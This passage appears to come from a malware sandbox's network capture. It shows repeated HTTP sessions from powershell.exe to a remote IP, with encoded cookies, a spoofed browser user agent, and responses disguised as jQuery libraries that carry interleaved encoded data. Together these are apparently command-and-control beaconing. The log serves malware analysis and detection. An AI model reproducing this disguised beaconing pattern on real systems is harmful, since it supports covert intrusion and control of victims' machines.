Apr 9, 2023 02:58:44.709701061 CEST	162	IN	Data Raw: 4a 47 44 4a 42 50 4f 50 4c 45 47 48 43 4f 43 47 46 50 47 4e 4f 41 46 44 50 50 48 47 46 4d 4d 47 4b 4b 44 4c 50 41 4f 4b 41 4b 44 41 4c 48 50 48 47 4e 41 46 49 45 47 4d 43 46 45 46 4a 49 4b 4b 49 49 43 47 4e 41 43 4d 47 42 4c 50 49 49 43 43 4d 45 Data Ascii: JGDJBPOPLEGHCOCGFPGNOAFDPPHGFMMGKKDLPAOKAKDALHPHGNAFIEGMCFEFJIKKIICGNACMGBLPIICCMEPNPGDMNOFDDHEOIBKCNHLPEMNDCFDOBPGJIEBAEBCNEKJBFEDDBCMDIDIAJDKDIDJNEKCNNIKPDFMINGCBIOLHEDNNHJEHFJFFBMNFBCJDKOKBJCIKCMFCFDDGNPABDMHEHLIIGJMMLINECBLKLMFFDEBAMEIAHEK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.5	49824	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:40.091396093 CEST	646	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=IHyBvnu_4fmqiy6_Gapv3toAAtVNO8HktzMoc49QGLkDS_bOMucHqdh2_GScgWHRyBWEsyNQXIDjBYbjNtCt5YaiTVtKwZQAqmbd5nwrHti0YIflENoty2IEf1sIDMeU5PoCNWjS6eWShqVKLZBFZbPyALjybPpo4GTwkm2ugAcVSJkT User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:40.254255056 CEST	646	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:40 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:40.254278898 CEST	647	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:40.254301071 CEST	649	IN	Data Raw: 45 4f 50 43 4c 42 4a 46 44 44 49 49 50 47 4e 48 4b 46 4c 4c 45 4c 46 4d 45 4a 50 44 44 4e 49 45 4e 4c 4d 4c 44 45 4f 43 4b 44 4a 50 4d 46 4c 45 47 50 42 4c 4e 4b 4d 45 48 47 4b 43 47 41 44 50 46 50 47 4f 44 4b 45 44 4e 41 41 4d 45 4d 4c 49 41 42 Data Ascii: EOPCLBJFDDIIPGNHKFLLELFMEJPDDNIENLMLDEOCKDJPMFLEGPBLNKMEHGKCGADPFPGODKEDNAAMEMLIABBEOCIAFGBBAOPCIIMAIIHGDEDMCAMBDPANLFPAJGILKAPDLLBMEIFJDALDIDIMLDNPMLBPPBGLPFJBKKCHHJJMKGPNFLEIJJMGLGOLODFFEEFN/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.5	49825	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:40.601707935 CEST	649	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=At4NhlkdbcGIKaKHOwjj5viiju1vmU3clZGkS63ylIEh6Xr2EEWLkfrUcFy-I-3p6rcIiwHy0LjBpwrbFHIh3aQAwWNoYxg4iMRR3l6JkuCWwgvdMnih80Cm82MqrkusxliODUpwZd2wJClyDzLJXZFQjIDQznZQwsZ8qk8MDD836hUr User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:40.762120008 CEST	650	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:40 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:40.762154102 CEST	651	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:40.762183905 CEST	652	IN	Data Raw: 4a 41 44 42 49 49 50 42 47 48 4f 42 4a 4f 48 4a 49 43 4c 41 48 44 50 48 4f 4a 49 4a 47 49 45 4a 4b 4d 4f 4a 4d 4f 4d 44 42 4e 4c 43 45 46 43 46 4b 4e 4e 4c 44 47 49 4b 44 43 4f 48 4b 42 46 41 47 4d 4e 50 4a 43 49 47 45 50 46 41 4b 46 47 4d 48 4c Data Ascii: JADBIIPBGHOBJOHJICLAHDPHOJIJGIEJKMOJMOMDBNLCEFCFKNNLDGIKDCOHKBFAGMNPJCIGEPFAKFGMHLIBIKNBMFAEOFFHODFAFDOGMHDOKLMMNIOBGMCABCOPBEAONMFOFELKOHOBBNBDOIMEKANOFFDDGDPIDHFHFKLLHBEOHNHFHPMGOFGEAOAIKNIDGHMJIPCMJCEBJLGCKDNLPONDBNEDJLMLNCLKKCONENOLODHPAIG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.5	49826	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:41.130728006 CEST	653	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=r9VUMPQWNHclIvsxlgO6UFWp11vCkhRqOJr9_QD5zTeM4iNAvU7SJ1ffKeoTKLRfR7xRPaz5iQ5srFNtuXl4awkLmNXFaEGOJc8IaPOCy1Y7yVJrn3P4Re2tqtWHpRIaa1PXu-d7PGsdL3DEojmQ6zxb1TZ9xS_mb80lHOIHVYma4Uyd User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:41.280947924 CEST	654	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:41 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:41.280986071 CEST	655	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:41.281013966 CEST	656	IN	Data Raw: 4d 48 4f 49 42 47 43 46 4a 45 44 43 48 4a 47 49 44 4e 4c 42 4c 47 50 45 45 50 43 49 44 4c 43 43 4d 48 4a 46 45 4d 43 46 4e 48 47 49 47 4d 4a 4b 46 4c 50 4d 42 48 4e 48 45 4e 4c 50 42 4e 47 46 46 4f 4d 4b 4c 4c 4c 45 4f 4d 4f 45 4f 4f 41 4a 45 4f Data Ascii: MHOIBGCFJEDCHJGIDNLBLGPEEPCIDLCCMHJFEMCFNHGIGMJKFLPMBHNHENLPBNGFFOMKLLLEOMOEOOAJEOPFGHKKBALPGDPBFKLKPIBOHKEALEDIIBHLNLPKJGGJHLHGNAIANJDNMNAMIMFKNFBKKBCAONBGEDBDHNGIFKJGHIMGGCBODFPMBKOCKCJBGDDDDICOBGGBKCAIDAACFFPKGOFBAKFCCDKFOCLJEGLPJBOGHPGDHCE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.5	49827	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:41.634243965 CEST	657	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=BQ1Knl7OKtmP-uWfPNuk_v9xyfVoSgrEkkLjU6oh05kmOj3uF5bMif0HN0S58Krx7WRPkwYhl6DGdE3DE6FmxaPThntvsF8gjxcWxlla1fiREUzFNavm60d1tHstfQy0wYvJFU2jIsW3925qCOGORZaDy5jXHTFIxRU7skjfSycwOVIz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:41.783133030 CEST	657	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:41 GMT Server: CloudFront Content-Length: 2228 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:41.783174992 CEST	659	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:41.783205986 CEST	660	IN	Data Raw: 41 44 4f 4b 43 41 47 42 45 45 4a 4f 47 4f 42 46 48 4f 50 4a 44 4c 50 49 42 49 4e 45 48 4c 4e 41 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f Data Ascii: ADOKCAGBEEJOGOBFHOPJDLPIBINEHLNA/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.5	49828	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:42.503015995 CEST	661	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=f3KLUySx6xT1hSRSRqRlM4UOCDgSNcsJ6D0intBeElRcRfwjbekNRId49onDj2s8lxuOXnxeVm28C4wOad6nCNmsR7YVz57t9WjXCyMlFDXrbo0IT9QnJj0KdbZXAs15u_QI2Dfc4wjNiK-ncp5PiOz8ClWtYvCFv2r6fzKgiupKRpP- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:42.663001060 CEST	661	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:42 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:42.663060904 CEST	663	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:42.663103104 CEST	664	IN	Data Raw: 4e 44 4d 4e 4d 4e 4d 4d 43 47 4a 43 41 4d 4f 43 4d 48 47 4f 4a 4c 46 43 43 47 4f 45 47 4e 4b 43 48 4c 44 4f 49 4f 44 4e 41 49 50 4e 4a 44 44 44 4e 41 44 4a 4a 43 41 48 48 44 41 41 50 4d 4c 4d 44 44 4a 45 4f 4f 50 50 50 49 49 41 44 50 4b 45 47 50 Data Ascii: NDMNMNMMCGJCAMOCMHGOJLFCCGOEGNKCHLDOIODNAIPNJDDDNADJJCAHHDAAPMLMDDJEOOPPPIIADPKEGPBMPJACGFEOHELHODELLBAGDBGKMILKAHPCPIPGPKJKJBONCCOOANMODGKHHOHKLFMDJDMALMDIFEFIMFDMLHHKEPIAFFFIHPHGLHEHKGCAJGJDGPOFMGLCMALJOCLJALNCMLEEMDAJIDNGAMCHIMKEPHDFOGLABHG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.5	49829	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:42.945302010 CEST	665	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=9bgAwK57YId_T6_BzG7uoA_Eg6uY_0CaYvepDVqUmcfWj3ew5yOG1w2yfRpJReCvHdEFzfaU3f42wQed4xQsm1NmzCWfBRV-f6JcmKnvn6ZhpAabxR6stbfA_iXdyEbqMT6DS70WaJtHQiQ0-FTEG2Y2gcYnqHsWNaBx7LhqAXnAjBht User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:43.105007887 CEST	665	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:42 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:43.105046988 CEST	667	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:43.105087996 CEST	668	IN	Data Raw: 42 42 4c 48 4a 41 4a 4b 48 4b 44 50 4e 4e 42 4a 43 41 47 4e 4c 4f 4b 49 4d 4b 49 46 4f 41 47 4d 43 4d 4f 49 43 49 45 49 45 48 41 44 41 4b 4b 42 43 43 48 43 47 50 41 41 44 4d 46 47 4e 50 4f 42 45 4b 4e 4f 48 46 4f 50 46 4e 4d 45 4e 41 49 4f 49 50 Data Ascii: BBLHJAJKHKDPNNBJCAGNLOKIMKIFOAGMCMOICIEIEHADAKKBCCHCGPAADMFGNPOBEKNOHFOPFNMENAIOIPBHKEKMMDBMKKMGMIAEMIOGMGBAEHGCLDCMBODKIHLDKPPOHMDPKNJEJOIGAABHGDLDPCFIAEJFDFNOHKICLFLHELEPMKJEFGMHDAHOPJNIIKGFMMGDGJDFLFMGAJMGMLJDFKHAOCABHEPCOLDMNNOHCNLKLCANLCC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.5	49830	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:43.373178959 CEST	669	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=P2K3T2Sh1wi1lRhOBrRZL8UeNCRSJfcVqC0egpBOLkgcVcA_LfkxWMdoypWDn1cg1wuyQjxOanH8G7ASKc6bFJm8e6pV36LxtXjrF2M1KCmrfrEUD8QbOn0aSaoXEvFl--Q0xHfM3xSNmJO7Mo5zlKzsNkntcsyZ_3rGY3KwtvYKVq_i User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:43.522044897 CEST	669	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:43 GMT Server: CloudFront Content-Length: 2644 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:43.522284985 CEST	670	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:43.522316933 CEST	672	IN	Data Raw: 42 50 4d 4f 4a 44 50 50 4c 4a 41 4b 4e 46 4c 45 4a 4b 4e 41 4f 4f 4e 44 41 4b 41 4e 42 49 50 44 4e 43 47 4e 4a 4f 4f 48 4f 42 44 47 4e 4a 41 47 4e 45 50 47 4b 4f 50 4f 44 43 47 4f 4e 4e 4b 4f 4e 4e 45 4a 45 4b 47 47 4c 4a 4f 4d 4c 50 44 4a 44 41 Data Ascii: BPMOJDPPLJAKNFLEJKNAOONDAKANBIPDNCGNJOOHOBDGNJAGNEPGKOPODCGONNKONNEJEKGGLJOMLPDJDAIKBJGICDLOGPDPOGMMHJJLICFNELOPBOIPDLDEFBFBMIIPFEANOEHAOECCHFNAFDGEGKJPMEPFCCGJBAKLDOLCDLAIOIFNBGHCMPNNEBEEMMJPDIEGMDEFIJBMNJCBBGFGMPLLOBMCBJCADBLAKOJBOFFBDILIMGC
Apr 9, 2023 02:59:43.522341013 CEST	672	IN	Data Raw: 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 29 26 26 6f 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: .getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.5	49831	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:43.774811983 CEST	673	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=z-fNzpQkrYlFEGLP9jEjrjWbTqWioI2UWKhkA2DLVMns0Lq-3XxL2TftsBRzGi2hJ47Iw8zLEPAMnsqT2UvhlWk5ASulWthwRf2RlpOwUqhb-8uV_0Fhu42fMyvnl4vkC2FORYdJpZV9Hek6wgsJFVxpTMgd97YYD_-84oI1zHf609Vj User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:43.923401117 CEST	673	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:43 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:43.923449039 CEST	675	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:43.923485994 CEST	676	IN	Data Raw: 4a 50 49 45 4a 44 4c 4a 4a 41 49 4b 46 4a 4b 48 49 46 46 4f 4d 49 4b 47 44 50 4d 47 4e 45 46 4c 42 45 45 44 4e 44 47 43 43 45 4b 45 41 4f 42 4b 4c 4a 45 41 47 49 45 41 44 46 4d 4c 44 49 43 43 45 4f 4e 4e 4e 41 4a 44 46 41 4b 42 4b 41 4d 4d 4e 4b Data Ascii: JPIEJDLJJAIKFJKHIFFOMIKGDPMGNEFLBEEDNDGCCEKEAOBKLJEAGIEADFMLDICCEONNNAJDFAKBKAMMNKMGCICHAEHFLLCBHFPAMANEMDDCMHMAGFFLPJAKMJMJLAAODEAIOCIPNKCHPPJNJCKLEIHMAMIOKMEPMKDADEKPFCJHAHFGLHHMLIEKCGCCFPAJFCMCGLOFMFHIIEFEEHJODFCCCLOBCNKJECJGHBAMNPGFEKKHLGO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.5	49832	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:44.246824026 CEST	677	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=AKR8TltnHAmKU9NPOXKSLvrY_yVt4zwUl-vVg6-I5Ukjkws-Ej_6WfiuAZS8WZwh6M15QwOIoXDD3XsTFghQFaZ6sKtqGWnwir4gFlzz4yiUuHoVMALQO0Lcgqso1DpkxCL_xUgKFBWyXli6DUi4lZMq_UjStAeYwLwNYk12ffc1kGTj User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:44.397417068 CEST	677	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:44 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:44.397473097 CEST	678	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:44.397510052 CEST	680	IN	Data Raw: 4f 4f 42 4a 4f 45 4b 47 45 44 47 49 45 4f 4c 44 46 48 4d 46 42 4c 4c 4d 4b 4a 4d 43 4d 45 41 4c 4c 45 43 47 43 4a 4e 50 50 4e 50 42 50 41 44 42 49 42 43 50 45 48 4a 44 46 43 47 46 47 48 49 49 42 4f 41 41 42 48 4a 45 4a 46 42 4a 4c 50 4b 43 4a 41 Data Ascii: OOBJOEKGEDGIEOLDFHMFBLLMKJMCMEALLECGCJNPPNPBPADBIBCPEHJDFCGFGHIIBOAABHJEJFBJLPKCJAKKFJFFLGPICFGPLNMEOALNACIFCIMNGEHFCLFFHFBKIEPLNOIKFLABBKONDAKPIGEJCCBFNNCIPFJN/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.5	49833	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:44.661484003 CEST	681	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Hl0zgUWeU8aUqpyAJ4vd4eQhsOpzGnPbiRKaTLFxqoY9akTxDMa1luZXTluioNPu9jQ2jB1x7r_dJDTcCPEf2riD_2R04CY_lEdv2UIKrOeKQTXaLvuf9FwlzWQ2LXWr2tuwClbzW9qspxd1E7H3Wo3TsofMTUhX3kVCrVOPMjgraSss User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:44.815232992 CEST	681	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:44 GMT Server: CloudFront Content-Length: 2292 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:44.815309048 CEST	682	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
